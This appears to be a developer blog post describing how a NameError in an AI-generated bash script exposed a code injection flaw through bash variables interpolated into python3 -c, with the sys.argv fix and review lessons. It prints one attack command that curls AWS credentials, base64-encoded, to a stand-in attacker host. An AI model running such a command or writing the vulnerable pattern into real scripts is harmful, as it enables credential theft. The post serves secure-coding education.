The Bug That Wouldn’t Make Sense
I was debugging an issue with myapp audit -n 10, a CLI tool I built for managing application data. The scripts were generated by Claude AI, which I’d been using to accelerate development. The error was straightforward:
NameError: name 'result_count' is not defined
But when I looked at the source code, line 112 looked perfectly fine:
print(f' Results: {log.get("result_count", "")}')
The variable result_count was properly quoted. It should have worked. So why was Python seeing an undefined variable?
The Real Problem: Bash Quote Parsing
The script used a common pattern for embedding Python in bash:
AWS_PROFILE=my-profile aws dynamodb scan \
--table-name audit-logs \
--max-items $LIMIT \
--output json | python3 -c "
import json
...
print(f' Results: {log.get("result_count", "")}')
"
Here’s what was happening:
- The Python code is inside bash double quotes:
python3 -c "..." - Bash interprets inner
"characters as string terminators - So bash saw:
python3 -c "...{log.get("result_count","")}..." - This caused bash to split the command incorrectly
- Python received:
log.get(, )instead oflog.get("result_count", "")
The fix:
# Escape the inner quotes
print(f' Results: {log.get(\"result_count\", \"\")}')
Then Things Got Worse
While investigating the quote parsing issue, I noticed this on line 41:
filter_type = '$FILTER'
Wait. $FILTER comes from user input (the second command-line argument). It’s being directly interpolated into the Python code string.
This is a code injection vulnerability.
While debugging the quote escaping issue, I spotted this security flaw. The AI had generated functional code, but it introduced a critical vulnerability that could allow arbitrary code execution.
The Attack
An attacker could run:
myapp audit 10 "'; import os; os.system('curl attacker.com?data=$(cat ~/.aws/credentials | base64)'); '"
After bash variable expansion, the Python code becomes:
filter_type = ''; import os; os.system('curl attacker.com?data=$(cat ~/.aws/credentials | base64)'); ''
The base64 encoding handles newlines and special characters in the credentials file, making this a working exploit that exfiltrates AWS credentials to the attacker’s server.
CVSS Severity: HIGH to CRITICAL depending on deployment context
The Root Cause
This vulnerability exists because of a fundamental misunderstanding of how bash processes strings:
# VULNERABLE: Bash expands $VAR before passing to Python
python3 -c "x = '$VAR'"
# SECURE: Pass as argument, Python receives it as data
python3 -c "import sys; x = sys.argv[1]" "$VAR"
In the vulnerable version:
- User input is merged into code
- Bash performs the merge before Python even sees it
- No opportunity for input validation
In the secure version:
- Code and data are separate
- Python receives user input through
sys.argv - Input is treated as a string literal, never executed as code
The Fix
Before (VULNERABLE):
FILTER=${2:-}
aws dynamodb scan ... | python3 -c "
...
filter_type = '$FILTER' # Direct interpolation
if filter_type:
...
"
After (SECURE):
FILTER=${2:-}
aws dynamodb scan ... | python3 -c "
...
# Get filter from command line argument
filter_type = sys.argv[1] if len(sys.argv) > 1 else ''
if filter_type:
...
" "$FILTER" # Passed as argument
Lessons Learned
1. AI-Generated Code Requires Security Review
Claude AI wrote this vulnerable code. AI tools are excellent at accelerating development, but they can introduce security flaws that work perfectly from a functionality standpoint while being critically insecure.
The code passed all functional tests - it correctly filtered audit logs and handled edge cases. But it was fundamentally unsafe. Always perform security reviews on AI-generated code, especially when it handles user input or privileged operations.
2. Minor Bugs Deserve Investigation
The NameError seemed trivial - just a quote escaping bug. But investigating it revealed a critical security vulnerability in the same file.
3. Embedding Code is Dangerous
Any time you embed one language inside another (Python in bash, SQL in Python, HTML in JavaScript), you create injection risk. The boundaries between code and data blur.
4. Trust, But Verify
This pattern appeared in 7 different scripts. It “worked” - the functionality was correct. But working code doesn’t mean secure code.
5. Defense in Depth
Use multiple layers of protection:
- ✅ Never interpolate user input into code strings
- ✅ Use parameterized interfaces (
sys.argv, prepared statements, etc.) - ✅ Validate and sanitize all external input
- ✅ Apply principle of least privilege
- ✅ Properly escape nested quotes when unavoidable
Broader Implications
I audited 6 other scripts in the codebase and found similar vulnerabilities in 3 of them:
get-item.sh- ID injection vulnerabilitysearch.sh- Query injection vulnerabilitycreate-item.sh- Multiple injection points (content, type, tags)
All used the same pattern: python3 -c with bash variable interpolation directly into the code string.
Takeaway
A simple NameError turned into a valuable security lesson. When debugging, don’t just fix the surface issue - understand why it happened. Sometimes the root cause reveals bigger problems.
And remember: if you’re embedding code in strings, you’re probably creating an injection vector. Use parameterized interfaces instead.
Found a similar issue in your code? Check for:
- Bash variables (
$VAR) interpolated intopython3 -c,node -e,ruby -e, etc. - User input merged into SQL queries, shell commands, or JavaScript
- Any place where data becomes code